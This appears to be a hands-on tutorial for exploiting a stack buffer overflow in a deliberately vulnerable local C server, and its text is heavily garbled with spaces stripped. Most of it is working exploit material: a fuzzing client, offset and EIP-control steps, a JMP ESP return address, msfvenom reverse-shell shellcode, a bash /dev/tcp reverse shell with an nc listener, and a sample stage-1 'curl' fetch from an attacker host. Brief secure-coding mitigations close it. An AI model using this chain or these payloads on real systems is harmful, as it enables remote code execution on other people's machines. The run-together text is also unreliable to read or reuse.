forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)

MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize

DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100

MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger

print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes

forstringinMESSAGE

defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw

print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)

sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver

HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos

ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters

WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks

Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550

Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)

LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo

EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368

LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened

ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway

WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

